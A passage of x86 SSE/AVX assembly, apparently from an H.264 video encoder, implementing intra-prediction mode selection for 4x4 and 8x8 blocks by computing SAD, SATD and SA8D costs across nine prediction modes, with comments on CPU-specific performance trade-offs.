pshufb m%1, [intrax9b_edge2] ; t0 t1 t2 t3 t0 t1 t2 t3 l0 l1 l2 l3 l0 l1 l2 l3
pmaddubsw m%1, [hmul_4p]
pshufhw m0, m%1, q2301
pshuflw m0, m0, q2301
psignw m%1, [pw_pmpmpmpm]
paddw m0, m%1
psllw m0, 2 ; hadamard(top), hadamard(left)
movhlps m3, m0
pshufb m1, m0, [intrax9b_v1]
pshufb m2, m0, [intrax9b_v2]
paddw m0, m3
psignw m3, [pw_pmmpzzzz] ; FIXME could this be eliminated?
pavgw m0, [pw_16]
pand m0, [sw_f0] ; dc
; This (as well as one of the steps in intra_satd_x9_4x4.satd_8x4) could be
; changed from a wd transpose to a qdq, with appropriate rearrangement of inputs.
; Which would be faster on conroe, but slower on penryn and sandybridge, and too invasive to ifdef.
HADAMARD 0, sumsub, %2, %3, %4, %5
HADAMARD 1, sumsub, %2, %3, %4, %5
movd r3d, m0
shr r3d, 4
imul r3d, 0x01010101
mov [pred_buf+0x80], r3d
mov [pred_buf+0x88], r3d
mov [pred_buf+0x90], r3d
mov [pred_buf+0x98], r3d
psubw m3, m%2
psubw m0, m%2
psubw m1, m%2
psubw m2, m%3
pabsw m%3, m%3
pabsw m3, m3
pabsw m0, m0
pabsw m1, m1
pabsw m2, m2
pavgw m3, m%3
pavgw m0, m%3
pavgw m1, m2
%if cpuflag(sse4)
phaddw m3, m0
%else
SBUTTERFLY qdq, 3, 0, 2
paddw m3, m0
%endif
movhlps m2, m1
paddw m1, m2
%if cpuflag(xop)
vphaddwq m3, m3
vphaddwq m1, m1
packssdw m1, m3
%else
phaddw m1, m3
pmaddwd m1, [pw_1] ; v, _, h, dc
%endif
%endmacro ; INTRA_X9_VHDC
%macro INTRA_X9_END 2
%if cpuflag(sse4)
phminposuw m0, m0 ; h,dc,ddl,ddr,vr,hd,vl,hu
movd eax, m0
add eax, 1<<16
cmp ax, r3w
cmovge eax, r3d
%else
%if %1
; 4x4 sad is up to 12 bits; +bitcosts -> 13 bits; pack with 3 bit index
psllw m0, 3
paddw m0, [pw_s01234567] ; h,dc,ddl,ddr,vr,hd,vl,hu
%else
; 4x4 satd is up to 13 bits; +bitcosts and saturate -> 13 bits; pack with 3 bit index
psllw m0, 2
paddusw m0, m0
paddw m0, [pw_s01234657] ; h,dc,ddl,ddr,vr,vl,hd,hu
%endif
movhlps m1, m0
pminsw m0, m1
pshuflw m1, m0, q0032
pminsw m0, m1
pshuflw m1, m0, q0001
pminsw m0, m1
movd eax, m0
movsx r2d, ax
and eax, 7
sar r2d, 3
shl eax, 16
; 1<<16: increment index to match intra4x4_pred_e. couldn't do this before because it had to fit in 3 bits
; 1<<12: undo sign manipulation
lea eax, [rax+r2+(1<<16)+(1<<12)]
cmp ax, r3w
cmovge eax, r3d
%endif ; cpuflag
; output the predicted samples
mov r3d, eax
shr r3d, 16
%ifdef PIC
lea r2, [%2_lut]
movzx r2d, byte [r2+r3]
%else
movzx r2d, byte [%2_lut+r3]
%endif
%if %1 ; sad
movq mm0, [pred_buf+r2]
movq mm1, [pred_buf+r2+16]
movd [r1+0*FDEC_STRIDE], mm0
movd [r1+2*FDEC_STRIDE], mm1
psrlq mm0, 32
psrlq mm1, 32
movd [r1+1*FDEC_STRIDE], mm0
movd [r1+3*FDEC_STRIDE], mm1
%else ; satd
%assign i 0
%rep 4
mov r3d, [pred_buf+r2+8*i]
mov [r1+i*FDEC_STRIDE], r3d
%assign i i+1
%endrep
%endif
%endmacro ; INTRA_X9_END
%macro INTRA_X9 0
;-----------------------------------------------------------------------------
; int intra_sad_x9_4x4( uint8_t *fenc, uint8_t *fdec, uint16_t *bitcosts )
;-----------------------------------------------------------------------------
%if notcpuflag(xop)
cglobal intra_sad_x9_4x4, 3,4,9
%assign pad 0xc0-gprsize-(stack_offset&15)
%define pred_buf rsp
sub rsp, pad
%if ARCH_X86_64
INTRA_X9_PRED intrax9a, m8
%else
INTRA_X9_PRED intrax9a, [rsp+0xa0]
%endif
mova [rsp+0x00], m2
mova [rsp+0x10], m3
mova [rsp+0x20], m4
mova [rsp+0x30], m5
mova [rsp+0x40], m6
mova [rsp+0x50], m7
%if cpuflag(sse4)
movd m0, [r0+0*FENC_STRIDE]
pinsrd m0, [r0+1*FENC_STRIDE], 1
movd m1, [r0+2*FENC_STRIDE]
pinsrd m1, [r0+3*FENC_STRIDE], 1
%else
movd mm0, [r0+0*FENC_STRIDE]
punpckldq mm0, [r0+1*FENC_STRIDE]
movd mm1, [r0+2*FENC_STRIDE]
punpckldq mm1, [r0+3*FENC_STRIDE]
movq2dq m0, mm0
movq2dq m1, mm1
%endif
punpcklqdq m0, m0
punpcklqdq m1, m1
psadbw m2, m0
psadbw m3, m1
psadbw m4, m0
psadbw m5, m1
psadbw m6, m0
psadbw m7, m1
paddd m2, m3
paddd m4, m5
paddd m6, m7
%if ARCH_X86_64
SWAP 7, 8
pxor m8, m8
%define %%zero m8
%else
mova m7, [rsp+0xa0]
%define %%zero [pb_0]
%endif
pshufb m3, m7, [intrax9a_vh1]
pshufb m5, m7, [intrax9a_vh2]
pshufb m7, [intrax9a_dc]
psadbw m7, %%zero
psrlw m7, 2
mova [rsp+0x60], m3
mova [rsp+0x70], m5
psadbw m3, m0
pavgw m7, %%zero
pshufb m7, %%zero
psadbw m5, m1
movq [rsp+0x80], m7
movq [rsp+0x90], m7
psadbw m0, m7
paddd m3, m5
psadbw m1, m7
paddd m0, m1
movzx r3d, word [r2]
movd r0d, m3 ; v
add r3d, r0d
punpckhqdq m3, m0 ; h, dc
shufps m3, m2, q2020
psllq m6, 32
por m4, m6
movu m0, [r2+2]
packssdw m3, m4
paddw m0, m3
INTRA_X9_END 1, intrax9a
add rsp, pad
RET
%endif ; cpuflag
%if ARCH_X86_64
;-----------------------------------------------------------------------------
; int intra_satd_x9_4x4( uint8_t *fenc, uint8_t *fdec, uint16_t *bitcosts )
;-----------------------------------------------------------------------------
cglobal intra_satd_x9_4x4, 3,4,16
%assign pad 0xb0-gprsize-(stack_offset&15)
%define pred_buf rsp
sub rsp, pad
INTRA_X9_PRED intrax9b, m15
mova [rsp+0x00], m2
mova [rsp+0x10], m3
mova [rsp+0x20], m4
mova [rsp+0x30], m5
mova [rsp+0x40], m6
mova [rsp+0x50], m7
movd m8, [r0+0*FENC_STRIDE]
movd m9, [r0+1*FENC_STRIDE]
movd m10, [r0+2*FENC_STRIDE]
movd m11, [r0+3*FENC_STRIDE]
mova m12, [hmul_8p]
pshufd m8, m8, 0
pshufd m9, m9, 0
pshufd m10, m10, 0
pshufd m11, m11, 0
pmaddubsw m8, m12
pmaddubsw m9, m12
pmaddubsw m10, m12
pmaddubsw m11, m12
movddup m0, m2
pshufd m1, m2, q3232
movddup m2, m3
movhlps m3, m3
call .satd_8x4 ; ddr, ddl
movddup m2, m5
pshufd m3, m5, q3232
mova m5, m0
movddup m0, m4
pshufd m1, m4, q3232
call .satd_8x4 ; vr, vl
movddup m2, m7
pshufd m3, m7, q3232
mova m4, m0
movddup m0, m6
pshufd m1, m6, q3232
call .satd_8x4 ; hd, hu
%if cpuflag(sse4)
punpckldq m4, m0
%else
punpcklqdq m4, m0 ; conroe dislikes punpckldq, and ssse3 INTRA_X9_END can handle arbitrary orders whereas phminposuw can't
%endif
mova m1, [pw_ppmmppmm]
psignw m8, m1
psignw m10, m1
paddw m8, m9
paddw m10, m11
INTRA_X9_VHDC 15, 8, 10, 6, 7
; find minimum
movu m0, [r2+2]
movd r3d, m1
palignr m5, m1, 8
%if notcpuflag(sse4)
pshufhw m0, m0, q3120 ; compensate for different order in unpack
%endif
packssdw m5, m4
paddw m0, m5
movzx r0d, word [r2]
add r3d, r0d
INTRA_X9_END 0, intrax9b
add rsp, pad
RET
RESET_MM_PERMUTATION
ALIGN 16
.satd_8x4:
pmaddubsw m0, m12
pmaddubsw m1, m12
pmaddubsw m2, m12
pmaddubsw m3, m12
psubw m0, m8
psubw m1, m9
psubw m2, m10
psubw m3, m11
SATD_8x4_SSE cpuname, 0, 1, 2, 3, 13, 14, 0, swap
pmaddwd m0, [pw_1]
%if cpuflag(sse4)
pshufd m1, m0, q0032
%else
movhlps m1, m0
%endif
paddd xmm0, m0, m1 ; consistent location of return value. only the avx version of hadamard permutes m0, so 3arg is free
ret
%else ; !ARCH_X86_64
cglobal intra_satd_x9_4x4, 3,4,8
%assign pad 0x120-gprsize-(stack_offset&15)
%define fenc_buf rsp
%define pred_buf rsp+0x40
%define spill rsp+0xe0
sub rsp, pad
INTRA_X9_PRED intrax9b, [spill+0x20]
mova [pred_buf+0x00], m2
mova [pred_buf+0x10], m3
mova [pred_buf+0x20], m4
mova [pred_buf+0x30], m5
mova [pred_buf+0x40], m6
mova [pred_buf+0x50], m7
movd m4, [r0+0*FENC_STRIDE]
movd m5, [r0+1*FENC_STRIDE]
movd m6, [r0+2*FENC_STRIDE]
movd m0, [r0+3*FENC_STRIDE]
mova m7, [hmul_8p]
pshufd m4, m4, 0
pshufd m5, m5, 0
pshufd m6, m6, 0
pshufd m0, m0, 0
pmaddubsw m4, m7
pmaddubsw m5, m7
pmaddubsw m6, m7
pmaddubsw m0, m7
mova [fenc_buf+0x00], m4
mova [fenc_buf+0x10], m5
mova [fenc_buf+0x20], m6
mova [fenc_buf+0x30], m0
movddup m0, m2
pshufd m1, m2, q3232
movddup m2, m3
movhlps m3, m3
pmaddubsw m0, m7
pmaddubsw m1, m7
pmaddubsw m2, m7
pmaddubsw m3, m7
psubw m0, m4
psubw m1, m5
psubw m2, m6
call .satd_8x4b ; ddr, ddl
mova m3, [pred_buf+0x30]
mova m1, [pred_buf+0x20]
movddup m2, m3
movhlps m3, m3
movq [spill+0x08], m0
movddup m0, m1
movhlps m1, m1
call .satd_8x4 ; vr, vl
mova m3, [pred_buf+0x50]
mova m1, [pred_buf+0x40]
movddup m2, m3
movhlps m3, m3
movq [spill+0x10], m0
movddup m0, m1
movhlps m1, m1
call .satd_8x4 ; hd, hu
movq [spill+0x18], m0
mova m1, [spill+0x20]
mova m4, [fenc_buf+0x00]
mova m5, [fenc_buf+0x20]
mova m2, [pw_ppmmppmm]
psignw m4, m2
psignw m5, m2
paddw m4, [fenc_buf+0x10]
paddw m5, [fenc_buf+0x30]
INTRA_X9_VHDC 1, 4, 5, 6, 7
; find minimum
movu m0, [r2+2]
movd r3d, m1
punpckhqdq m1, [spill+0x00]
packssdw m1, [spill+0x10]
%if cpuflag(sse4)
pshufhw m1, m1, q3120
%else
pshufhw m0, m0, q3120
%endif
paddw m0, m1
movzx r0d, word [r2]
add r3d, r0d
INTRA_X9_END 0, intrax9b
add rsp, pad
RET
RESET_MM_PERMUTATION
ALIGN 16
.satd_8x4:
pmaddubsw m0, m7
pmaddubsw m1, m7
pmaddubsw m2, m7
pmaddubsw m3, m7
%xdefine fenc_buf fenc_buf+gprsize
psubw m0, [fenc_buf+0x00]
psubw m1, [fenc_buf+0x10]
psubw m2, [fenc_buf+0x20]
.satd_8x4b:
psubw m3, [fenc_buf+0x30]
SATD_8x4_SSE cpuname, 0, 1, 2, 3, 4, 5, 0, swap
pmaddwd m0, [pw_1]
%if cpuflag(sse4)
pshufd m1, m0, q0032
%else
movhlps m1, m0
%endif
paddd xmm0, m0, m1
ret
%endif ; ARCH
%endmacro ; INTRA_X9
%macro INTRA8_X9 0
;-----------------------------------------------------------------------------
; int intra_sad_x9_8x8( uint8_t *fenc, uint8_t *fdec, uint8_t edge[36], uint16_t *bitcosts, uint16_t *satds )
;-----------------------------------------------------------------------------
cglobal intra_sad_x9_8x8, 5,6,9
%define fenc02 m4
%define fenc13 m5
%define fenc46 m6
%define fenc57 m7
%if ARCH_X86_64
%define tmp m8
%assign padbase 0x0
%else
%define tmp [rsp]
%assign padbase 0x10
%endif
%assign pad 0x240+0x10+padbase-gprsize-(stack_offset&15)
%define pred(i,j) [rsp+i*0x40+j*0x10+padbase]
SUB rsp, pad
movq fenc02, [r0+FENC_STRIDE* 0]
movq fenc13, [r0+FENC_STRIDE* 1]
movq fenc46, [r0+FENC_STRIDE* 4]
movq fenc57, [r0+FENC_STRIDE* 5]
movhps fenc02, [r0+FENC_STRIDE* 2]
movhps fenc13, [r0+FENC_STRIDE* 3]
movhps fenc46, [r0+FENC_STRIDE* 6]
movhps fenc57, [r0+FENC_STRIDE* 7]
; save instruction size: avoid 4-byte memory offsets
lea r0, [intra8x9_h1+128]
%define off(m) (r0+m-(intra8x9_h1+128))
; v
movddup m0, [r2+16]
mova pred(0,0), m0
psadbw m1, m0, fenc02
mova pred(0,1), m0
psadbw m2, m0, fenc13
mova pred(0,2), m0
psadbw m3, m0, fenc46
mova pred(0,3), m0
psadbw m0, m0, fenc57
paddw m1, m2
paddw m0, m3
paddw m0, m1
movhlps m1, m0
paddw m0, m1
movd [r4+0], m0
; h
movq m0, [r2+7]
pshufb m1, m0, [off(intra8x9_h1)]
pshufb m2, m0, [off(intra8x9_h2)]
mova pred(1,0), m1
psadbw m1, fenc02
mova pred(1,1), m2
psadbw m2, fenc13
paddw m1, m2
pshufb m3, m0, [off(intra8x9_h3)]
pshufb m2, m0, [off(intra8x9_h4)]
mova pred(1,2), m3
psadbw m3, fenc46
mova pred(1,3), m2
psadbw m2, fenc57
paddw m1, m3
paddw m1, m2
movhlps m2, m1
paddw m1, m2
movd [r4+2], m1
lea r5, [rsp+padbase+0x100]
%define pred(i,j) [r5+i*0x40+j*0x10-0x100]
; dc
movhps m0, [r2+16]
pxor m2, m2
psadbw m0, m2
movhlps m1, m0
paddw m0, m1
psrlw m0, 3
pavgw m0, m2
pshufb m0, m2
mova pred(2,0), m0
psadbw m1, m0, fenc02
mova pred(2,1), m0
psadbw m2, m0, fenc13
mova pred(2,2), m0
psadbw m3, m0, fenc46
mova pred(2,3), m0
psadbw m0, m0, fenc57
paddw m1, m2
paddw m0, m3
paddw m0, m1
movhlps m1, m0
paddw m0, m1
movd [r4+4], m0
; ddl
; Ft1 Ft2 Ft3 Ft4 Ft5 Ft6 Ft7 Ft8
; Ft2 Ft3 Ft4 Ft5 Ft6 Ft7 Ft8 Ft9
; Ft3 Ft4 Ft5 Ft6 Ft7 Ft8 Ft9 FtA
; Ft4 Ft5 Ft6 Ft7 Ft8 Ft9 FtA FtB
; Ft5 Ft6 Ft7 Ft8 Ft9 FtA FtB FtC
; Ft6 Ft7 Ft8 Ft9 FtA FtB FtC FtD
; Ft7 Ft8 Ft9 FtA FtB FtC FtD FtE
; Ft8 Ft9 FtA FtB FtC FtD FtE FtF
mova m0, [r2+16]
movu m2, [r2+17]
pslldq m1, m0, 1
pavgb m3, m0, m2 ; Gt1 Gt2 Gt3 Gt4 Gt5 Gt6 Gt7 Gt8 Gt9 GtA GtB ___ ___ ___ ___ ___
PRED4x4_LOWPASS m0, m1, m2, m0, tmp ; ___ Ft1 Ft2 Ft3 Ft4 Ft5 Ft6 Ft7 Ft8 Ft9 FtA FtB FtC FtD FtE FtF
pshufb m1, m0, [off(intra8x9_ddl1)]
pshufb m2, m0, [off(intra8x9_ddl2)]
mova pred(3,0), m1
psadbw m1, fenc02
mova pred(3,1), m2
psadbw m2, fenc13
paddw m1, m2
pshufb m2, m0, [off(intra8x9_ddl3)]
mova pred(3,2), m2
psadbw m2, fenc46
paddw m1, m2
pshufb m2, m0, [off(intra8x9_ddl4)]
mova pred(3,3), m2
psadbw m2, fenc57
paddw m1, m2
movhlps m2, m1
paddw m1, m2
movd [r4+6], m1
; vl
; Gt1 Gt2 Gt3 Gt4 Gt5 Gt6 Gt7 Gt8
; Ft1 Ft2 Ft3 Ft4 Ft5 Ft6 Ft7 Ft8
; Gt2 Gt3 Gt4 Gt5 Gt6 Gt7 Gt8 Gt9
; Ft2 Ft3 Ft4 Ft5 Ft6 Ft7 Ft8 Ft9
; Gt3 Gt4 Gt5 Gt6 Gt7 Gt8 Gt9 GtA
; Ft3 Ft4 Ft5 Ft6 Ft7 Ft8 Ft9 FtA
; Gt4 Gt5 Gt6 Gt7 Gt8 Gt9 GtA GtB
; Ft4 Ft5 Ft6 Ft7 Ft8 Ft9 FtA FtB
pshufb m1, m3, [off(intra8x9_vl1)]
pshufb m2, m0, [off(intra8x9_vl2)]
pshufb m3, m3, [off(intra8x9_vl3)]
pshufb m0, m0, [off(intra8x9_vl4)]
mova pred(7,0), m1
psadbw m1, fenc02
mova pred(7,1), m2
psadbw m2, fenc13
mova pred(7,2), m3
psadbw m3, fenc46
mova pred(7,3), m0
psadbw m0, fenc57
paddw m1, m2
paddw m0, m3
paddw m0, m1
movhlps m1, m0
paddw m0, m1
%if cpuflag(sse4)
pextrw [r4+14], m0, 0
%else
movd r5d, m0
mov [r4+14], r5w
lea r5, [rsp+padbase+0x100]
%endif
; ddr
; Flt Ft0 Ft1 Ft2 Ft3 Ft4 Ft5 Ft6
; Fl0 Flt Ft0 Ft1 Ft2 Ft3 Ft4 Ft5
; Fl1 Fl0 Flt Ft0 Ft1 Ft2 Ft3 Ft4
; Fl2 Fl1 Fl0 Flt Ft0 Ft1 Ft2 Ft3
; Fl3 Fl2 Fl1 Fl0 Flt Ft0 Ft1 Ft2
; Fl4 Fl3 Fl2 Fl1 Fl0 Flt Ft0 Ft1
; Fl5 Fl4 Fl3 Fl2 Fl1 Fl0 Flt Ft0
; Fl6 Fl5 Fl4 Fl3 Fl2 Fl1 Fl0 Flt
movu m2, [r2+8]
movu m0, [r2+7]
movu m1, [r2+6]
pavgb m3, m2, m0 ; Gl6 Gl5 Gl4 Gl3 Gl2 Gl1 Gl0 Glt Gt0 Gt1 Gt2 Gt3 Gt4 Gt5 Gt6 Gt7
PRED4x4_LOWPASS m0, m1, m2, m0, tmp ; Fl7 Fl6 Fl5 Fl4 Fl3 Fl2 Fl1 Fl0 Flt Ft0 Ft1 Ft2 Ft3 Ft4 Ft5 Ft6
pshufb m1, m0, [off(intra8x9_ddr1)]
pshufb m2, m0, [off(intra8x9_ddr2)]
mova pred(4,0), m1
psadbw m1, fenc02
mova pred(4,1), m2
psadbw m2, fenc13
paddw m1, m2
pshufb m2, m0, [off(intra8x9_ddr3)]
mova pred(4,2), m2
psadbw m2, fenc46
paddw m1, m2
pshufb m2, m0, [off(intra8x9_ddr4)]
mova pred(4,3), m2
psadbw m2, fenc57
paddw m1, m2
movhlps m2, m1
paddw m1, m2
movd [r4+8], m1
add r0, 256
add r5, 0xC0
%define off(m) (r0+m-(intra8x9_h1+256+128))
%define pred(i,j) [r5+i*0x40+j*0x10-0x1C0]
; vr
; Gt0 Gt1 Gt2 Gt3 Gt4 Gt5 Gt6 Gt7
; Flt Ft0 Ft1 Ft2 Ft3 Ft4 Ft5 Ft6
; Fl0 Gt0 Gt1 Gt2 Gt3 Gt4 Gt5 Gt6
; Fl1 Flt Ft0 Ft1 Ft2 Ft3 Ft4 Ft5
; Fl2 Fl0 Gt0 Gt1 Gt2 Gt3 Gt4 Gt5
; Fl3 Fl1 Flt Ft0 Ft1 Ft2 Ft3 Ft4
; Fl4 Fl2 Fl0 Gt0 Gt1 Gt2 Gt3 Gt4
; Fl5 Fl3 Fl1 Flt Ft0 Ft1 Ft2 Ft3
movsd m2, m3, m0 ; Fl7 Fl6 Fl5 Fl4 Fl3 Fl2 Fl1 Fl0 Gt0 Gt1 Gt2 Gt3 Gt4 Gt5 Gt6 Gt7
pshufb m1, m2, [off(intra8x9_vr1)]
pshufb m2, m2, [off(intra8x9_vr3)]
mova pred(5,0), m1
psadbw m1, fenc02
mova pred(5,2), m2
psadbw m2, fenc46
paddw m1, m2
pshufb m2, m0, [off(intra8x9_vr2)]
mova pred(5,1), m2
psadbw m2, fenc13
paddw m1, m2
pshufb m2, m0, [off(intra8x9_vr4)]
mova pred(5,3), m2
psadbw m2, fenc57
paddw m1, m2
movhlps m2, m1
paddw m1, m2
movd [r4+10], m1
; hd
; Glt Flt Ft0 Ft1 Ft2 Ft3 Ft4 Ft5
; Gl0 Fl0 Glt Flt Ft0 Ft1 Ft2 Ft3
; Gl1 Fl1 Gl0 Fl0 Glt Flt Ft0 Ft1
; Gl2 Fl2 Gl1 Fl1 Gl0 Fl0 Glt Flt
; Gl3 Fl3 Gl2 Fl2 Gl1 Fl1 Gl0 Fl0
; Gl4 Fl4 Gl3 Fl3 Gl2 Fl2 Gl1 Fl1
; Gl5 Fl5 Gl4 Fl4 Gl3 Fl3 Gl2 Fl2
; Gl6 Fl6 Gl5 Fl5 Gl4 Fl4 Gl3 Fl3
pshufd m2, m3, q0001
%if cpuflag(sse4)
pblendw m2, m0, q3330 ; Gl2 Gl1 Gl0 Glt ___ Fl2 Fl1 Fl0 Flt Ft0 Ft1 Ft2 Ft3 Ft4 Ft5 ___
%else
movss m1, m0, m2
SWAP 1, 2
%endif
punpcklbw m0, m3 ; Fl7 Gl6 Fl6 Gl5 Fl5 Gl4 Fl4 Gl3 Fl3 Gl2 Fl2 Gl1 Fl1 Gl0 Fl0 ___
pshufb m1, m2, [off(intra8x9_hd1)]
pshufb m2, m2, [off(intra8x9_hd2)]
mova pred(6,0), m1
psadbw m1, fenc02
mova pred(6,1), m2
psadbw m2, fenc13
paddw m1, m2
pshufb m2, m0, [off(intra8x9_hd3)]
pshufb m3, m0, [off(intra8x9_hd4)]
mova pred(6,2), m2
psadbw m2, fenc46
mova pred(6,3), m3
psadbw m3, fenc57
paddw m1, m2
paddw m1, m3
movhlps m2, m1
paddw m1, m2
; don't just store to [r4+12]. this is too close to the load of dqword [r4] and would cause a forwarding stall
pslldq m1, 12
SWAP 3, 1
; hu
; Gl0 Fl1 Gl1 Fl2 Gl2 Fl3 Gl3 Fl4
; Gl1 Fl2 Gl2 Fl3 Gl3 Fl4 Gl4 Fl5
; Gl2 Fl3 Gl3 Gl3 Gl4 Fl5 Gl5 Fl6
; Gl3 Gl3 Gl4 Fl5 Gl5 Fl6 Gl6 Fl7
; Gl4 Fl5 Gl5 Fl6 Gl6 Fl7 Gl7 Gl7
; Gl5 Fl6 Gl6 Fl7 Gl7 Gl7 Gl7 Gl7
; Gl6 Fl7 Gl7 Gl7 Gl7 Gl7 Gl7 Gl7
; Gl7 Gl7 Gl7 Gl7 Gl7 Gl7 Gl7 Gl7
%if cpuflag(sse4)
pinsrb m0, [r2+7], 15 ; Gl7
%else
movd m1, [r2+7]
pslldq m0, 1
palignr m1, m0, 1
SWAP 0, 1
%endif
pshufb m1, m0, [off(intra8x9_hu1)]
pshufb m2, m0, [off(intra8x9_hu2)]
mova pred(8,0), m1
psadbw m1, fenc02
mova pred(8,1), m2
psadbw m2, fenc13
paddw m1, m2
pshufb m2, m0, [off(intra8x9_hu3)]
pshufb m0, m0, [off(intra8x9_hu4)]
mova pred(8,2), m2
psadbw m2, fenc46
mova pred(8,3), m0
psadbw m0, fenc57
paddw m1, m2
paddw m1, m0
movhlps m2, m1
paddw m1, m2
movd r2d, m1
movu m0, [r3]
por m3, [r4]
paddw m0, m3
mova [r4], m0
movzx r5d, word [r3+16]
add r2d, r5d
mov [r4+16], r2w
%if cpuflag(sse4)
phminposuw m0, m0 ; v,h,dc,ddl,ddr,vr,hd,vl
movd eax, m0
%else
; 8x8 sad is up to 14 bits; +bitcosts and saturate -> 14 bits; pack with 2 bit index
paddusw m0, m0
paddusw m0, m0
paddw m0, [off(pw_s00112233)]
movhlps m1, m0
pminsw m0, m1
pshuflw m1, m0, q0032
pminsw m0, m1
movd eax, m0
; repack with 3 bit index
xor eax, 0x80008000
movzx r3d, ax
shr eax, 15
add r3d, r3d
or eax, 1
cmp eax, r3d
cmovg eax, r3d
; reverse to phminposuw order
mov r3d, eax
and eax, 7
shr r3d, 3
shl eax, 16
or eax, r3d
%endif
add r2d, 8<<16
cmp ax, r2w
cmovg eax, r2d
mov r2d, eax
shr r2d, 16
shl r2d, 6
add r1, 4*FDEC_STRIDE
mova m0, [rsp+padbase+r2+0x00]
mova m1, [rsp+padbase+r2+0x10]
mova m2, [rsp+padbase+r2+0x20]
mova m3, [rsp+padbase+r2+0x30]
movq [r1+FDEC_STRIDE*-4], m0
movhps [r1+FDEC_STRIDE*-2], m0
movq [r1+FDEC_STRIDE*-3], m1
movhps [r1+FDEC_STRIDE*-1], m1
movq [r1+FDEC_STRIDE* 0], m2
movhps [r1+FDEC_STRIDE* 2], m2
movq [r1+FDEC_STRIDE* 1], m3
movhps [r1+FDEC_STRIDE* 3], m3
ADD rsp, pad
RET
%if ARCH_X86_64
;-----------------------------------------------------------------------------
; int intra_sa8d_x9_8x8( uint8_t *fenc, uint8_t *fdec, uint8_t edge[36], uint16_t *bitcosts, uint16_t *satds )
;-----------------------------------------------------------------------------
cglobal intra_sa8d_x9_8x8, 5,6,16
%assign pad 0x2c0+0x10-gprsize-(stack_offset&15)
%define fenc_buf rsp
%define pred_buf rsp+0x80
SUB rsp, pad
mova m15, [hmul_8p]
pxor m8, m8
%assign %%i 0
%rep 8
movddup m %+ %%i, [r0+%%i*FENC_STRIDE]
pmaddubsw m9, m %+ %%i, m15
punpcklbw m %+ %%i, m8
mova [fenc_buf+%%i*0x10], m9
%assign %%i %%i+1
%endrep
; save instruction size: avoid 4-byte memory offsets
lea r0, [intra8x9_h1+0x80]
%define off(m) (r0+m-(intra8x9_h1+0x80))
lea r5, [pred_buf+0x80]
; v, h, dc
HADAMARD8_2D 0, 1, 2, 3, 4, 5, 6, 7, 8
pabsw m11, m1
%assign %%i 2
%rep 6
pabsw m8, m %+ %%i
paddw m11, m8
%assign %%i %%i+1
%endrep
; 1D hadamard of edges
movq m8, [r2+7]
movddup m9, [r2+16]
mova [r5-0x80], m9
mova [r5-0x70], m9
mova [r5-0x60], m9
mova [r5-0x50], m9
punpcklwd m8, m8
pshufb m9, [intrax3_shuf]
pmaddubsw m8, [pb_pppm]
pmaddubsw m9, [pb_pppm]
HSUMSUB2 psignw, m8, m9, m12, m13, m9, q1032, [pw_ppppmmmm]
HSUMSUB2 psignw, m8, m9, m12, m13, m9, q2301, [pw_ppmmppmm]
; dc
paddw m10, m8, m9
paddw m10, [pw_8]
pand m10, [sw_f0]
psrlw m12, m10, 4
psllw m10, 2
pxor m13, m13
pshufb m12, m13
mova [r5+0x00], m12
mova [r5+0x10], m12
mova [r5+0x20], m12
mova [r5+0x30], m12
; differences
psllw m8, 3 ; left edge
psubw m8, m0
psubw m10, m0
pabsw m8, m8 ; 1x8 sum
pabsw m10, m10
paddw m8, m11
paddw m11, m10
punpcklwd m0, m1
punpcklwd m2, m3
punpcklwd m4, m5
punpcklwd m6, m7
punpckldq m0, m2
punpckldq m4, m6
punpcklqdq m0, m4 ; transpose
psllw m9, 3 ; top edge
psrldq m10, m11, 2 ; 8x7 sum
psubw m0, m9 ; 8x1 sum
pabsw m0, m0
paddw m10, m0
phaddd m10, m8 ; logically phaddw, but this is faster and it won't overflow
psrlw m11, 1
psrlw m10, 1
; store h
movq m3, [r2+7]
pshufb m0, m3, [off(intra8x9_h1)]
pshufb m1, m3, [off(intra8x9_h2)]
pshufb m2, m3, [off(intra8x9_h3)]
pshufb m3, m3, [off(intra8x9_h4)]
mova [r5-0x40], m0
mova [r5-0x30], m1
mova [r5-0x20], m2
mova [r5-0x10], m3
; ddl
mova m8, [r2+16]
movu m2, [r2+17]
pslldq m1, m8, 1
pavgb m9, m8, m2
PRED4x4_LOWPASS m8, m1, m2, m8, m3
pshufb m0, m8, [off(intra8x9_ddl1)]
pshufb m1, m8, [off(intra8x9_ddl2)]
pshufb m2, m8, [off(intra8x9_ddl3)]
pshufb m3, m8, [off(intra8x9_ddl4)]
add r5, 0x40
call .sa8d
phaddd m11, m0
; vl
pshufb m0, m9, [off(intra8x9_vl1)]
pshufb m1, m8, [off(intra8x9_vl2)]
pshufb m2, m9, [off(intra8x9_vl3)]
pshufb m3, m8, [off(intra8x9_vl4)]
add r5, 0x100
call .sa8d
phaddd m10, m11
mova m12, m0
; ddr
movu m2, [r2+8]
movu m8, [r2+7]
movu m1, [r2+6]
pavgb m9, m2, m8
PRED4x4_LOWPASS m8, m1, m2, m8, m3
pshufb m0, m8, [off(intra8x9_ddr1)]
pshufb m1, m8, [off(intra8x9_ddr2)]
pshufb m2, m8, [off(intra8x9_ddr3)]
pshufb m3, m8, [off(intra8x9_ddr4)]
sub r5, 0xc0
call .sa8d
mova m11, m0
add r0, 0x100
%define off(m) (r0+m-(intra8x9_h1+0x180))
; vr
movsd m2, m9, m8
pshufb m0, m2, [off(intra8x9_vr1)]
pshufb m1, m8, [off(intra8x9_vr2)]
pshufb m2, m2, [off(intra8x9_vr3)]
pshufb m3, m8, [off(intra8x9_vr4)]
add r5, 0x40
call .sa8d
phaddd m11, m0
; hd
%if cpuflag(sse4)
pshufd m1, m9, q0001
pblendw m1, m8, q3330
%else
pshufd m2, m9, q0001
movss m1, m8, m2
%endif
punpcklbw m8, m9
pshufb m0, m1, [off(intra8x9_hd1)]
pshufb m1, m1, [off(intra8x9_hd2)]
pshufb m2, m8, [off(intra8x9_hd3)]
pshufb m3, m8, [off(intra8x9_hd4)]
add r5, 0x40
call .sa8d
phaddd m0, m12
phaddd m11, m0
; hu
%if cpuflag(sse4)
pinsrb m8, [r2+7], 15
%else
movd m9, [r2+7]
pslldq m8, 1
palignr m9, m8, 1
SWAP 8, 9
%endif
pshufb m0, m8, [off(intra8x9_hu1)]
pshufb m1, m8, [off(intra8x9_hu2)]
pshufb m2, m8, [off(intra8x9_hu3)]
pshufb m3, m8, [off(intra8x9_hu4)]
add r5, 0x80
call .sa8d
pmaddwd m0, [pw_1]
phaddw m10, m11
movhlps m1, m0
paddw m0, m1
pshuflw m1, m0, q0032
pavgw m0, m1
pxor m2, m2
pavgw m10, m2
movd r2d, m0
movu m0, [r3]
paddw m0, m10
mova [r4], m0
movzx r5d, word [r3+16]
